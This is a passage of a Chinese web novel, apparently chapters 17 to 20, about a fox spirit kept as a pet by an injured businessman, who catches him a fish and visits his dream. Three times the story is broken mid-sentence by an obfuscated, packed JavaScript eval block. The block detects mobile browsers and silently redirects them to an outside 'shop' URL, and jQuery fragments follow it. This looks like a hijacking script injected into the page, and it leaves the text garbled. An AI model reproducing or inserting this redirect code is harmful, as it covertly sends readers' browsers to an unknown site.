“叽——!”哪怕他放轻了动作,最敏感的尾巴根被触碰的感觉像是有细微的电流一样窜遍全身,吓得小狐狸猛地炸毛,他下意识叼住还在自己尾巴上作乱的手,却没有咬下去,只是叼着啃磨。
“大胆的人类!你不知道狐狸的尾巴是不可以随便摸的吗?!”云容气呼呼地咬着谢砚的虎口,在上面留下口水和牙印,狠狠地警告:“这是狐狸大王给你的惩罚!”
他们狐族可是很专一的,只有伴侣才有资格摸尾巴,他懂事后连爹爹娘亲都不让摸,没想到这个两脚兽不仅胆大包天摸他的尾巴,还一上来就摸他的尾巴根!
要不是狐没有了修为,说不定当场就给铲屎官来个大变活人,吓死他!
小狐狸牙齿尖尖细细的,连啃咬都没有用什么力气,连皮都没有破,简直和磨牙差不多。
云吸动物多年经验丰富的谢砚并不知道自己干了多么冒犯的事,还以为小狐狸在和他玩,甚至还用指腹蹭了蹭小狐狸最尖的小犬牙,嘴上还碎碎念:“绒绒这么喜欢摸摸啊?让我摸摸尾巴好不好?”
云容:……
想给铲屎官一个教训,铲屎官却把手往他嘴里送,云容顿时觉得索然无味。
和一个傻子计较的自己只会更傻。
“傻子。”他嫌弃地吐出嘴里的手,抖抖尾巴从谢砚手里抽出来,坐在地上将两脚兽从头到尾打量了一遍。
他怎么就给自己选了个脑子不太灵光的铲屎官?
谢砚伸出去的手还没有收回来,尴尬地悬在空中,他面不改色拍拍自己的腿,“来,绒绒。”
“来个屁。”小狐狸甩甩尾巴,头也不回跑回了自己的房间。
突然被小狐狸抛下的谢总:?
他缓缓转过头,问旁边一直围观的李叔,“李叔,绒绒那个那个眼神是不是嫌弃我?”
“咳咳,少爷晚上想吃什么?”李叔收回咧开的嘴,尴尬转移话题。
平生第一次被狐狸嫌弃的谢砚:……:(
他现在什么都不想吃。
-
既然家里没有肉,那目标只能转向外面的世界了。
可云容没想到谢砚接下来的几天居然都没有出门,而是一直待在家里,让他完全找不到机会偷偷溜出去。
待在家里也就算了,居然还拉着狐陪他一起工作!嘴里说着一大堆让狐听不懂还犯困的话。
坐在谢砚怀里的小狐狸想到这里,生气地咬了一下两脚兽自己送到狐嘴边的手,抱着那只漂亮的手啃来啃去。
“继续说。”还在开视频会议的谢砚脸色始终如一,连说话的起伏都没有变,似乎手指被小狐狸当磨牙棒的人不是他,反而还伸手顺了顺小狐狸脊背上的毛。
参加会议的众管理层面上维持着精英的表面,视频外的手却在键盘上疯狂敲击,没想到谢总养宠物之后也变成宠物脑了,居然连公司都不来全改成居家办公还让小狐狸咬手。
要是他家狗敢这么咬自己的手只会收获两个大逼兜。
想不到自己也有机会看到谢总从工作狂变成“从此君王不早朝”的一天。
唯一知道真相的李秘书潜伏在八卦群里,看着那飞快滚动的聊天窗口,心虚地扶了一下眼镜。
其实谢总是去医院复查后,医生说频繁走动不利于伤口恢复才转为居家办公的,和小狐狸实在是没有什么关系。
无意间背了一口大锅的小狐狸忍不住打了个喷嚏,坐起来左右环顾,小脸写满了警惕,谁!是谁要害狐!
三角耳朵抖了抖,捕抓到到楼下的花园传来的动静,小狐狸脚一蹬从谢砚怀里钻出来,跳上了桌子,灵巧绕过桌上的文件和水杯一路小跑到桌子边缘,再灵巧一跃,落在了一米外的窗台上。
一连串动作行云流水,谢砚完全抓不住,看得视频里的管理层们更是一愣一愣的。
谢总到底养的是狐狸还是猫啊?蹿得比猫还灵活。
谢砚见小狐狸不想在他怀里待着也不强迫它了,小家伙专心致志地盯着下面的花园,他眼里闪过几丝笑意,叩了一下桌子,“继续。”
花匠正和另一个负责清理卫生的阿姨一起把几盆树搬进库房里。
小狐狸微微眯起眼,那些熟悉的青色小果子在枝叶上一晃一晃的,可不正是他昨天摘给铲屎官的小青橘?
圆滚滚的小青橘消失在视线里,直到最后一棵树也被搬进去,云容气得狠狠挠了几下爪边的窗帘布。
他的橘子树!
这是他特地留下来的!准备等变色了再摘给谢砚吃,没想到这些可恶的人类居然看透了他的谋算,偷偷把这些橘子树都藏起来了!
老谋深算的人类!
小狐狸转过身,目光复杂地看了一眼铲屎官还包着石膏的腿,再想想中午自己吃的大猪蹄子和铲屎官碗里什么都没有的汤。
不行,他一定要快点出去捕猎养谢砚!
-
机会意外来得很快,开完会的谢砚面色带上几分疲倦。
他看了一眼邮箱里密密麻麻还没有处理的文件,侧过头,对上小狐狸明亮清澈的眼神。
“干嘛?”云容歪头。
小狐狸娇娇的声音让人心头发软,窗外灿烂的阳光落在小狐狸的绒毛上,此时的绒绒看上像是正在发光的小毛团,花园里传来清脆的鸟叫声,生出几丝岁月静好的味道。
这是他以前不曾注意到的,谢砚难得不想工作了。
他操控着轮椅挪到书房的沙发上坐下,小狐狸趴在窗台上一眨不眨看着谢砚的动作,在他自力更生从轮椅挪到沙发上的时候,脖子不由自主往前伸,微微晃动的尾巴也停下了。
“笨蛋铲屎官。”小狐狸等谢砚在沙发上坐好后才跳到地上,小跑到谢砚身边蹭了蹭他的手,“也不知道喊人来帮忙。”
谢砚将小家伙抱到腿上,蹭了蹭小狐狸的脸,“别担心,我没事。”
谢砚从小到大都是一个自尊心很强的人,不愿意让人看到自己狼狈的一面,哪怕腿受伤了,洗澡穿衣这些事也要坚持自己来,只有上下车不得不让保镖帮忙。
可今天看到小狐狸眼中毫不掩饰的担忧时,谢砚心里居然生出几分诡异的愉悦,头一次发现被关心的感觉也不错,虽然关心他的对象是一只懵懵懂懂的小狐狸。
说话时的热气喷到耳廓里,有些痒,毛绒绒的狐狸耳朵忍不住抖了抖,耳朵尖尖蹭在谢砚的下巴上,温热柔软的触感稍纵即逝。
谢砚抱着小狐狸在沙发上躺下,慢慢地摸着小狐狸的脊背,“绒绒,陪我睡一会,好不好?”
以前他在网上刷到那些人有猫狗陪睡的时候就羡慕得要命,却只能抱着冷冰冰的玩偶入睡。
好不容易才养了只不怕他的小狐狸,却没想到还是没有过上有真正的毛绒绒陪睡的美好生活。
绒绒是一只很有边界感的小狐狸,平日里除
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370608|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了公共区域和自己的房间,几乎不会去其他地方,连他的房间和书房都没有踏步。
今天进书房还是他用一块小肉干才哄进来的,不得不说有小狐狸陪着工作的感觉实在是太美好了,美得谢砚在下属给出一个愚蠢的方案时也只是打回去重做,不像之前那样将人骂得狗血淋头恨不得原地去世。
尝试过有小狐狸陪着工作后,谢砚得寸进尺,想要试一试有小狐狸陪着睡觉的感觉。
说实话,他在提出这个要求后不太指望小家伙答应的,小狐狸虽然聪明,但不一定听得懂人话。
可他没想到他说完后小狐狸浅浅瞥了一眼他,居然直接走到他旁边的位置躺下。
谢砚有些意外,绒绒真听懂了?
“看什么看?”大发慈悲哄铲屎官睡觉的小狐狸有些恼,干脆用爪子盖住谢砚的眼睛,“快睡!睡着了我好干活!”
“好,我这就睡。”谢砚扯开旁边叠得工工整整的小毯子,将其盖在了自己和小狐狸身上,顺手摸了摸云容,“绒绒好乖。”
被夸乖的云容轻轻哼了一声,把脑袋垫在前爪上,闭眼假寐,很有耐心等谢砚睡着。
谢砚是真的有些累了,快到年底了,他工作很忙,又不时要去医院复查,一个人恨不得掰成两个用,往日里规律的作息也被打乱。
尤其是身侧的小狐狸不知道什么时候打起了小呼噜,有规律的白噪音像是催眠曲,没多久谢砚意识就陷入昏沉。
过了好一会耳边的呼吸才变得清浅舒缓,等了好久的云容小心翼翼抬起脑袋,打了个小小的哈欠,露出一嘴没什么威胁力的小尖牙。
好险,狐居然中了人类的诡计,差点睡着了。
云容从温暖的毯子里爬出来,歪着脑袋打量了一会双目紧闭的俊美男人,湿漉漉的小鼻子蹭了蹭谢砚的脸,“谢砚,睡着了吗?”
谢砚眉头动了动,云容吓了一跳,连忙趴下装作睡着的样子。
等了几分钟,云容又小心抬起脑袋,端详了一会呼吸平稳的谢砚,干脆把大耳朵贴在他的胸口上。
很好,节奏有规律,不快也不慢,谢砚确实是睡着啦!
小狐狸蹑手蹑脚地爬到谢砚的胸膛上坐下,微微眯起眼,既然你睡着了,狐就要开始干活了。
睡着睡着,一股沉闷感突然从胸口传来,谢砚平稳的呼吸变得凌乱,却怎么也睁不开眼,半梦半醒间眼前似乎出现了一个人影。
那是一个穿着长袍广袖的少年,少年身形匀称纤细,皮肤很白,一袭长发垂在腰间,脸上却好像是蒙了一层雾,怎么也看不清长相,唯有一双眼睛格外清晰。
那是一双很漂亮的眼睛,眼形圆润,眼尾微微上挑,清透的蓝色比最贵的蓝宝石还要漂亮,像是含着一汪秋水。
谢砚手脚僵硬,意识到什么,视线移到少年的头上和身后。
果不其然,少年的头顶有一双三角形的大耳朵,身后也长着一条格外蓬松的尾巴,正在轻轻摇晃着,是很熟悉的白色。
是他家绒绒。
绒绒变成人了。
少年往前走了几步,叫他:“谢砚!”
那声音轻快而明亮,带着少年意气,很容易让人生起好感。
谢砚没有说话,听到自己如擂鼓的心跳声。
见他像个木头一样发呆,少年不爽地压下耳朵,瞪了他一眼,干脆直入主题,“谢砚,鸟和鱼,你喜欢吃那个?”
谢砚还是反应不过来,直到少年催促他一声,才呆呆地开口,“鱼、鱼吧。”
他没有吃鸟的爱好。
少年点点头,扬起下巴,“行,那你乖乖在家等着,等我打一条大鱼回来!”
虽然看不清面容,但少年做起这个得意的小动作却让人生不起反感,谢砚反而觉得可爱得要命。
不等谢砚回过神来,那少年挥挥手。
“等等——!”
谢砚的手才伸出去,眼见就要扯上少年的袖子,梦境突然烟消云散,少年的身影也一起消失在眼前。
18. 第 18 章
谢砚努力想要睁开眼,可眼皮却像是磁石一样,似乎有千斤重,无论他怎么用力都无法睁开,只能再次陷入沉沉梦乡。
托完梦的小狐狸歪着脑袋,蓝色的狐狸眼盯着谢砚瞧了好一会,确定这个人类不会醒过来,才悄悄从沙发上跃下,走到门边时还回头看了一眼,看看谢砚是不是在装睡。
很好,没有醒。
“等着,今晚我一定满载而归。”
小狐狸甩了甩尾巴,动作熟练地跳起来把门锁压下去,用爪子扒开门缝,光明正大溜了出去。
此时正是下午,浅月湾除了花匠基本没有人活动,云容刚刚确认过花匠已经进了屋里,直接溜到了花园。
之前他辛辛苦苦挖的洞已经被填上了,小狐狸不甘心挖了两下,很结实,怕是要废不少时间才能重新挖一个洞出来。
他没有那么多时间。
云容环视了一圈花园,将目光放在墙边还没有收回去的梯子上,眼睛微微眯起。
难度不大。
小狐狸伸了个懒腰舒展身体,抖抖毛,突然加速朝着那个梯子冲去,后腿一蹬,便跃上了那个梯子,三两下就爬到了最顶端,没有丝毫停滞就跳过了围墙,稳稳落在墙外的小路上。
他回过头,投以一个不屑的眼神,区区围墙,也想困住狐?
小狐狸得意地抖抖耳朵,抬头看了一眼太阳,往西边走去。
那天橘猫带他过来的时候经过一个很大的湖,里面或许会有鱼。
之前小狐狸待的公园也有一个大湖,可湖边立了很多个牌子,上面明明确确写着“禁止捕、钓、喂鱼,抓到罚款”,彻底堵死了云容的路,他只能委委屈屈去找小果子吃。
狐没有钱,狐不想坐大牢。
那个湖边有几个中年男人在钓鱼,小狐狸躲在暗处看了一会也没有等到那几人钓上一条鱼。
他甩甩尾巴,这里真的有鱼吗?或许那几个人不是钓鱼的,而是来喂鱼的?
日头西斜,眼见着就快要到王妈做饭的时间了,云容不再犹豫,跑到离那几个人类最远的木板桥上。
毛发雪白的小狐狸格外显眼,在出去的那一瞬间时,云容就察觉到那几人的目光落在自己身上。
“哪里来的狐狸?”
“野的?”
“应该不是吧,干干净净的,谁家新养的吧。”
小狐狸忍不住抬头朝着说他是野狐狸的那人龇了龇牙,“你才是野的!我可是有铲屎官的狐狸!”
不想管那人,云容趴在木板桥上低头认真等着鱼过来。
这些鱼都是物业专门放进去给业主钓的,见到旁边有动物就傻乎乎游过来了,嘴巴一张一合讨吃的,小狐狸猛地起身伸出前爪迅速一捞,头一低就叼住了被拍出来的大肥鱼。
死鱼不好吃,云容只能叼着不停甩尾巴的鱼加快速度往家里走去,翘着尾巴昂首挺胸,得意得要命。
在经过那几个中年男的时候,小狐狸特地放慢了速度,慢悠悠小跑走过去,看到他们桶里空荡荡的,洋洋得意地眯起眼,尾巴摆摆。
没用的人类,坐这么久也钓不到一条鱼,还不如青丘山没开灵智的狐狸崽子。
小狐狸迈着欢快的步子远去,几个中年男面面相觑。
“我们是不是被一只狐狸嫌弃了。”
“……”
“诶,老陈,你收拾东西干嘛?”
“你傻啊,去那只狐狸刚才抓鱼的地方啊。”
“卧槽!我怎么没有想到,等等我!”
-
云容叼着鱼回到浅月湾的时候刚好碰上王妈开车进来,小狐狸迅速顺着缝隙钻进去,速度快得只留下一道残影。
停好车的王妈揉揉眼睛,“奇怪,刚才好像看到少爷养的狐狸了,是错觉吗?”
嘴里的鱼半死不活地扑腾,云容加快了速度往书房的方向走去。
谢砚还在沙发上昏睡,外侧的手臂垂在沙发边缘,手心朝上,实在是一个很适合放东西的姿势。
这么想着,小狐狸也这么做了。
谢砚睡得昏昏沉沉,下意识想要摸一摸睡在自己身侧的小狐狸,手心猝然传来冰冷滑腻的触感。
谢砚:!!!
他被吓得猛地从沙发上坐起来,想都没有想就把手里的东西甩出去,浓重的睡意瞬间消失殆尽。
“你好没用哦,还能被鱼吓到。”蹲坐在旁边的小狐狸走过去,一爪子把还在垂死挣扎的鱼踹到谢砚脚边,骄傲地仰起下巴,“狐说过了,要给你带一条大鱼回来。”
“狐说到做到,还不快点谢恩?”小狐狸重新端坐,蓬松的尾巴环住自己小小的身体,尾巴尖尖放在前爪上,眼睛紧紧看着谢砚,俨然一副等夸奖的样子。
谢砚这才看清楚地上扑腾的东西是一条肥美的大鱼,梦里那个狐耳少年和小狐狸重叠起来,向来不信鬼神的谢砚产生了些怀疑。
难道自家小狐狸真的是传说中的狐狸成精?
可前面的小狐狸目光清澈,小小的一团,娇憨可爱,怎谢砚么也没办法把它和传说中蛊惑人心手段了得的狐狸精扯上关系。
世界上怎么可能有狐狸精把自己饿到营养
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370609|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不良?
云容等了好一会也没等来铲屎官的夸奖,很不满意用爪子扒拉谢砚的手,“我辛辛苦苦捕猎回来,你居然不夸我?!”
谢砚回过神来,现在最重要的是哄自家小狐狸。
“这是绒绒抓的?好厉害,居然抓到这么大的鱼。”谢砚摸了摸小狐狸的头,笑意未达眼底。
小狐狸矜持地蹭了蹭他的手,尾巴却来回晃动着,掩饰失败。
家里可没有鱼塘,也没有活鱼,绒绒到底是怎么偷偷溜出去抓鱼的?还是这么大的一条鱼。
而且……那个少年说抓鱼给他,小狐狸就叼了一条鱼回来,哪有这么巧的事?
谢砚忍下心里的惊涛骇浪,让王妈过来把鱼带下去做菜。
王妈手脚麻利抓起鱼,“少爷去钓鱼了?”
“绒绒抓的。”谢砚不愿多说,“一半清蒸,一半做给绒绒吃。”
王妈:“绒绒这么厉害啊,行嘞。”
托梦需要耗费不少精力,确定铲屎官收下自己的捕猎成果后,小狐狸打了个哈欠,找个舒服的地方把自己团成一了一小团,毫不犹豫睡了。
谢砚难得有些头疼,他擦干净手,拿出手机在小红书上搜宠物托梦,试图从这里找到解释。
这App比百度好使多了。
没想到宠物托梦居然不是什么稀罕事,不少猫猫狗狗托梦的笔记过万点赞。
谢砚点进去,不知不觉就入了迷。
有的小猫不喜欢吃某个牌子的猫粮,托梦点名要另一个牌子。
有的小猫不喜欢现在的名字,会托梦告诉主人想要什么名字。
有的小狗走丢了会托梦哭唧唧告诉主人它现在在哪里。
还有的猫特地在梦里变成大帅哥,冷笑着问主人后不后悔带它去绝育。
甚至还有已经去世的小猫托梦给主人告诉它投胎的新地点,具体到那家人的名字。
相比之下,自家小狐狸只是问他喜欢吃什么这个梦堪称正常。
大部分托梦的都是还在世的小猫小狗,谢砚抬头看了一眼角落里呼呼大睡的狐团,突然觉得自家小狐狸这么聪明这么有灵性,会托梦似乎也不是什么奇怪的事。
不是狐狸成精,谢砚安慰好自己,梦里少年那双漂亮灵动的眼睛却怎么也挥之不去。
谢砚的目光落在蜷缩成一团的小狐狸身上,小家伙睡得很香,脸埋在尾巴里,只露出两个尖尖的耳朵,不时抖一下,特别招人喜欢。
他心里突然多出几分期待,如果他家小狐狸真的能变成人,会是和梦里长得一样吗?
19. 第 19 章
梦里的小狐狸虽然看不清面容,但是声音清亮,莫约十八九岁,一双漂亮的眼睛如它兽形的样子清澈漂亮,带着小动物独有的天真。
谢砚操控着轮椅过去,俯身摸了摸小狐狸圈在身侧的耳朵。
大概是熟悉了他的味道,虽然睡得迷迷糊糊,还是蹭了蹭谢砚的手,重新把脸埋在尾巴里继续睡了。
这种无意识的亲近让谢砚心一暖。
他轻轻舒出一口气,将心里那些想法压下去,一只差点把自己饿死的小狐狸变成妖怪这种事几乎没有什么可能,世界上也未必有妖怪这种生物存在,或许自家小狐狸只是比其他动物聪明许多。
他打开电脑,调出了监控录像。
小狐狸趁他睡觉时怎么偷偷溜出来,怎么翻的墙,又怎么叼着鱼回来都看得一清二楚。
视频里的小狐狸叼着大鱼仰首挺胸走进他的房间,谢砚想起小区里的那个大湖,基本确定了鱼的来历。
小狐狸翻墙的动作行云流水,谢砚知道,它能偷偷溜出去一次,就能溜出去第二次,第三次。
与其强迫绒绒在家关着,倒不如任由它出去玩,浅月湾周围的住户都是H市有名有姓的人物,不少人家里的宠物也经常出来自己溜自己,晚上各回各家,物业还有专门的人员负责这些小动物的安全,安全这方面他很放心。
况且……
谢砚唇角噙着一抹笑意,绒绒第一次出门不仅认得路,还给他带了猎物回来,这说明什么?说明它真的把这里当成自己的家了。
呼呼大睡的小狐团比之前胖了不少,都是一顿一顿吃出来,谢砚心里生出一股成就感。
短短几分钟,谢砚就自己想开了,还让李叔去开个小门方便给小狐狸进出,再在后院挖个小池子养些鱼。
收到信息的李叔:???
他就睡个午觉的时间,少爷和小狐狸又达成什么协议了?还突然要挖池子养鱼?
虽然摸不着头脑,但李叔还是乖乖找人去安排了。
忙活了一下午的云容在小窝里睡得没心没肺,甚至还打起了轻轻的小鼻鼾,谢砚处理着文件,不时侧过头看一眼,也没有喊醒小家伙。
一人一狐安静又和谐。
这一睡就睡到了饭点,吃饭钟很准时的小狐狸翻了个身,打了个小哈欠,才懒洋洋爬起来伸懒腰。
他侧过头,对上谢砚看过来的目光,哒哒哒地跑过去扒拉谢砚的大腿,“谢砚,还不可以吃饭吗?”
狐都饿啦。
谢砚放下手里的文件,拍了拍自己的大腿,“绒绒,上来,我们聊聊。”
小狐狸毛绒绒的身躯一震,虽然不知道为什么,但莫名脊背发凉。小动物灵敏的第六感让云容下意识转头错开谢砚的眼神,耳朵心虚地往后撇。
聊什么?狐什么都不知道,狐说不了话,人也不会狐的语言,人和狐是聊不了的。
谢砚弯下身把小狐狸抱到自己的腿上,捏了捏小狐狸的耳朵,“别想逃避,绒绒,我知道你能听懂我说的话。”
小狐狸左右环顾,就是不肯看他。谢砚也不逼它,而是翻出湿巾慢慢擦干净小狐狸的爪子,在外面走了一大圈,原本白白净净的爪子变了色,尤其是爪底的绒毛沾了泥土,换了好几张湿巾才彻底擦干净。
脏兮兮的湿巾在垃圾桶里堆成小山,谢砚手卡在小狐狸的前爪下将它举起,和小狐狸面对面,“绒绒,你是怎么溜出去的?”
小狐狸舔舔鼻子,“什么叫溜出去,我是光明正大跳出去的!”
虽然听不懂狐狸叫,但绒绒张大嘴反驳的样子理不直气也壮,谢砚有些头疼。
他拿出手机调出监控递到小狐狸面前,小狐狸的头扭到哪边他的手就追过去,想躲也躲不掉。
云容一开始还不知道这个是什么东西,好奇地斜眼看,看到自己的身影时瞪大了眼,人类居然还留了这一手!
阴险狡诈的谢砚!
他恼羞成怒用爪子推开谢砚的手,“对!我就是出去又怎么了?你吃不起肉,狐辛辛苦苦出去捕猎养你还有错了?!”
虽然得到了夸夸,但醒来后却被铲屎官抓着要好好聊聊,云容下意识就以为是谢砚不让自己再出门了,他想起自己还没有来得及好好逛逛的漂亮大花园,那个还有好多傻鱼的大池塘,不由得悲从中来。
他以后都看不到了,那么多的鱼呢,狐一条都吃不到了。
谢砚摁住气到炸毛的小狐狸,耐心地哄着:“没说不让绒绒出门,之前是我的错,一直把绒绒关在家里。”
在小狐狸睡觉的这段时间里,谢砚进行了深深的反思。
他家绒绒是一个天性爱自由的小狐狸,乖乖在家里呆了这么久已经很好了,第一次出门就特地给自己抓了鱼回来,是世界上难得的好狐狐。
怀里的小狐狸几哇乱叫完,挣脱他的手,转过身用屁股对着他,耳朵委屈地耷拉下来,尾巴都不摇了,那一瞬间谢砚觉得自己就是个罪人,想都没想就和一只狐狸道了歉,完全不觉得这有什么问题。
云容头顶的两个妙脆角大耳朵缓缓立起来,惊疑不定地看着谢砚的脸,狐的天,铲屎官居然和狐道歉了?
他眯着眼打量一会谢砚,确认过他没有在糊弄狐,才纡尊降贵舔舔谢砚的脸,“大度的狐狐仙原谅你了,谢砚。”
小狐狸记仇但好哄,人态度一软下来就忍不住心软了。
谢砚手一顿,鬼使神差地脑补了少年给他舔脸的模样,呼吸一滞。
他深吸一口气,不敢再想下去,给小狐狸顺着毛,继续和它讲道理,“翻墙很危险,我让李叔给你开了个小门,以后绒绒想出门的话从小门出去。”
声音有些沙哑。
可云容满心都在那个小门上,根本没有注意到谢砚的异常,伸长脑袋就想看看自己的专属小门长什么样。
可不能挤到狐!
谢砚险些抓不住这只比鱼还能扑腾的狐狸,继续和小狐狸讲条件,“不过不能经常出去,出去的话要和我说一下,我不在家就告诉李叔,晚饭前一定要回来。外面的坏人很多,不能随便吃别人给的食物,也不能乱吃地上的东西。附近还有很多小猫小狗,大部分都是有主人的,不要和它们打架,打不过的话就跑回来,我给你撑腰……”
怀里的小狐狸安安静静地听他说话,耳朵还偶尔转动一下,谢砚总觉得绒绒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370610|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的听明白了他的话,忍不住多说了些,完全没发现小狐狸在听到打不过几个字的时候瞳孔一缩,生气地大叫,爪子不停扒拉着他胸前的衣服。
“你才打不过!狐可是青丘山年轻一辈里最能打的狐狸,连隔壁山头的银狼都打不过我!你这个冒犯的人类!谁给你的胆子小瞧我?!”爪下的肌肉又软又弹,云容忍不住多摁了几下,才气呼呼地收回爪。
自己养的人类居然敢质疑他的战斗力,云容上一次这么生气还是渡劫失败修为尽失。
讨厌的谢砚!
好不容易才哄好的小狐狸又炸成了一团,谢砚没想到自家小狐狸这么有好胜心,连声哄道:“是我说错了,我们绒绒这么……咳,强壮,出去一定能打遍无敌手,为了它们的安全,大度的绒绒不记小猫小狗过,放过它们好不好?”
这一番连哄带骗的话落在云容耳中实在是动听得很,脊背炸起的毛慢慢落下,得意地扬起下巴,甚至还大发慈悲用尾巴扫了扫谢砚的手。
“呵,算你会说话,狐原谅你了。”
谢砚不敢再说什么话,生怕又惹这个小祖宗生气,他把云容放在桌上,打开手机的摄像头,“现在要帮绒绒拍个照片发给物业,来,看镜头。”
照片?那是什么?
云容好奇地歪头看着谢砚手中黑漆漆的薄片,他不由得想起之前在公园里那些人类也是用这个玩意对着同伴,甚至有一次有个橘猫在落叶堆里睡觉,也有一圈人举着这东西围着橘猫,奇奇怪怪的。
歪脑袋满眼疑惑的小狐狸灵动可爱,谢砚没忍住拍了十来张,翻过手机给云容看,“绒绒,最喜欢哪张?”
神奇盒子里好多个和自己一模一样的小白狐,云容瞪大了眼,没想到谢砚画画这么快,居然一下子就把自己画出来了!
谢砚好厉害!
小狐狸崇拜的目光让谢砚有些得意,他当即把这张照片发给了物业,做好信息登记后想了想又发了朋友圈,九宫格原图直出。
【我的小狐狸。[图片x9]】
这么重要的事情,他居然忘了。
发出去不到一分钟,后台信息直接飙到99+,不少人都在夸小狐狸好看。
“绒绒这么漂亮,哪张都好看。”谢砚一条一条评论看过去,云容晃晃脑袋,似乎看到这人身后有一条尾巴在晃。
谢砚又拍了张照片做头像,换下了原本很老干部的砚台。
小狐狸长得漂亮,随手一拍都是美颜暴击,毛茸茸的脸蛋占据了整个头像,黑漆漆的鼻子泛着健康的光泽,放大照片后还能看到小狐狸澄莹的眼睛里清晰映着男人的身影。
谢砚点开放大又缩小,看看自己的个人界面,又去群聊成员里看看,总觉得小狐狸的头像在众头像中脱颖而出,是最漂亮的那个,满意得不得了。
他家绒绒果然是最好看的。
云容看不懂谢砚这一连串的动作,从他怀里跳了下来,跳上窗台用脸蛋挤开窗户吹风。
深秋的风不算小,吹得小狐狸睁不开眼,一身浓密的绒毛随风飘动。
他把窗户缝挤大了些。
好奇怪哦,怎么都快冬天了,还这么热。
20. 第 20 章
小狐狸跋涉千里叼回来的猎物被王妈做成了清蒸鱼,谢砚一份,小狐狸一份,不过是没有调味料的。
云容吧唧吧唧吃着自己带回来的猎物,觉得这是世界上最好吃的鱼。
王妈片鱼的技术很好,偌大的一条鱼被切成薄片,每一片鱼都没有刺,整齐地摆在小狐狸的饭盆里,和其他蔬菜还有水煮肉堆在一起看上去赏心悦目。
滑嫩的鱼肉入口即化,鲜而不腥,云容很快就把自己的饭盆里的食物吃得干干净净,又慢吞吞地吃完一个新开的罐罐。
美味的罐罐一天只有一个,云容舍不得吃太快,连汁水都舔完了。
吃饱的小狐狸一边舔着嘴巴,跃上椅子端坐,认真观察铲屎官。
谢砚各种视角对着一份清蒸鱼拍了好几张照片,又把监控里小狐狸叼着猎物昂首挺胸回来的模样截了图发朋友圈,恨不得让全天下的人都知道自家小狐狸有多厉害。
正在吃外卖的张秘书默默点了个赞,忍不住腹诽谢总现在动不动就炫耀狐狸的模样和古代得了宠妃就要大昭天下的昏君简直没有什么两样。
谢家老宅里刚刚吃完饭的江照月终于看到了谢砚发的两个朋友圈,猛拍旁边的谢见川大腿,“老公,儿子他养了只狐狸!”
“什么?!”痛得龇牙咧嘴不敢出声的谢见川怒不可恕,“这臭小子,腿都断了还不老实,学人家去养什么狐狸精?!好的不学去学坏的,看我不去把他另一条腿打断!”
谢砚从小到大都是别人家的孩子,从头到脚无可挑剔,青春期的时候连叛逆期都没有,做好了万全对策的夫妻俩还有点小失望,却没想到谢砚的叛逆期在他二十八岁的时候才姗姗来迟,还是不学好学那些纨绔不谈正经恋爱养小情人?!
“诶呀!谁和你说是狐狸精了?”江照月把照片给谢见川看,“是狐狸,真狐狸!你看,多漂亮啊,还会出门抓鱼给小砚吃呢。”
“我看看?”谢见川瞬间熄火,将那照片放大看了又看,脸上浮现笑意:“还没猫大的小家伙,居然还会抓鱼。”
“可不是,盼了这么多年,可算有个小动物不怕小砚了。”江照月想了想,又道:“浅月湾刚刚才入住,里面什么东西都缺,我再让人送点宠物用品过去给小狐狸,可不能亏待了。”
谢见川:“多买点吃的,抓鱼可辛苦了。”
江照月:“这还用你说?”
-
云容不知道自己的玩具和小零食马上又要多一大批了,他端坐在椅子上,认认真真看着谢砚吃饭。
这可是他亲嘴带回来的鱼,只要谢砚敢说一句不好吃,他立马叼走。
敢嫌弃就别吃了!
一开始谢砚还不明白他的意思,小狐狸像是监考官一样在旁边虎视眈眈,目光随着他的筷子移动,谢砚还以为它没有吃饱,想要小狐狸减肥的态度有些动摇。
要不多加一块肉?
见谢砚吃饭速度慢下来,小狐狸用爪子把菜盘往他的方向推了推,“快吃快吃。”
吃得半饱的谢砚默了默,和还剩大半条的鱼对视一会,还是认命伸出筷子,试图将剩下的鱼吃完。
他还记得小狐狸叼鱼回来得意的模样。
这条鱼很大,谢砚一口接一口,好不容易才吃得只剩下鱼骨和鱼头,小狐狸的态度这么期待,作为一个合格的铲屎官,他无法当着小狐狸的面剩下它辛辛苦苦带回来的猎物。
他撑得厉害,深吸一口气,才去哄道:“绒绒真厉害,抓了一条这么好吃的鱼,我很久没吃过这么美味的鱼了。”
小狐狸轻轻甩着尾巴,爪子摁在谢砚的手背上,“那当然,谁让你是狐养的人类?”
哄完铲屎官的云容目光回到那条吃得只剩下一个头的鱼上,有些发愁,铲屎官这么能吃,看来光抓鱼是不够的。
它还得再想想怎么才能养活这么能吃的铲屎官。
